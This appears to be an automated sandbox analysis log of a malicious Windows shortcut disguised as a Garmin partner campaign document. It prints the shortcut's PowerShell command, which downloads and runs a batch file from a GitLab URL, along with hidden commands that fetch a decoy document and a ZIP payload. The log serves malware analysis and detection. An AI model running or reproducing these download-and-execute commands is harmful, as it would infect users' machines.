Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/

Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878

Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.6:49878 version: TLS 1.2

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

LNK file: /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"

Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows\System32\tmp	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD347F6AF8	17_2_00007FFD347F6AF8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD347F642B	17_2_00007FFD347F642B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFD347F6C4A	17_2_00007FFD347F6C4A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD348018F8	21_2_00007FFD348018F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 21_2_00007FFD3480262D	21_2_00007FFD3480262D

Source: classification engine

Classification label: mal100.troj.evad.winLNK@33/21@3/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Document.zip

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1224:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkiwgelb.nu3.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"

Source: C:\Windows\System32\conhost.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: 1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk

ReversingLabs: Detection: 16%

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\AppData\Local\Temp\Updates.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\AppData\Local\Temp\Updates.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\AppData\Local\Temp\Updates.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\AppData\Local\Temp\Updates.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
